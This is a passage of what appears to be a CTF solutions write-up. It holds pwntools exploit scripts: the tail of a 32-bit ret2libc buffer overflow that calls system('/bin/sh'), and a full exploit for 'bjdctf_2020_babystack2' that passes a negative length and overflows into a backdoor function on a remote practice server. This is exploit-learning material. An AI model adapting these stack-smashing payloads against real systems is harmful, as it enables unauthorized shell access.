log.info(f'base={hex(base_addr)}, system={hex(system_addr)}, /bin/sh={hex(bin_sh_addr)}')
 
p.sendline(b'1'*(ebp_offset + 4) + p32(system_addr) + p32(ret_function) + p32(bin_sh_addr))
p.interactive()

bjdctf_2020_babystack2

x86_64 ROP

#!/usr/bin/python3.6
from pwn import *

filename = './bjdctf_2020_babystack2'
e = ELF(filename)
# p = process(filename)
p = remote("node3.buuoj.cn", 28865)

log.level = 'DEBUG'
for k, v in e.got.items():
    log.debug(f'got:{k}={hex(v)}')

backdoor = e.sym['backdoor']
log.info(f'backdoor={hex(backdoor)}')

p.sendline(b'-1')
p.sendline(b'0'*(0x10+8) + p64(backdoor))
p.interactive()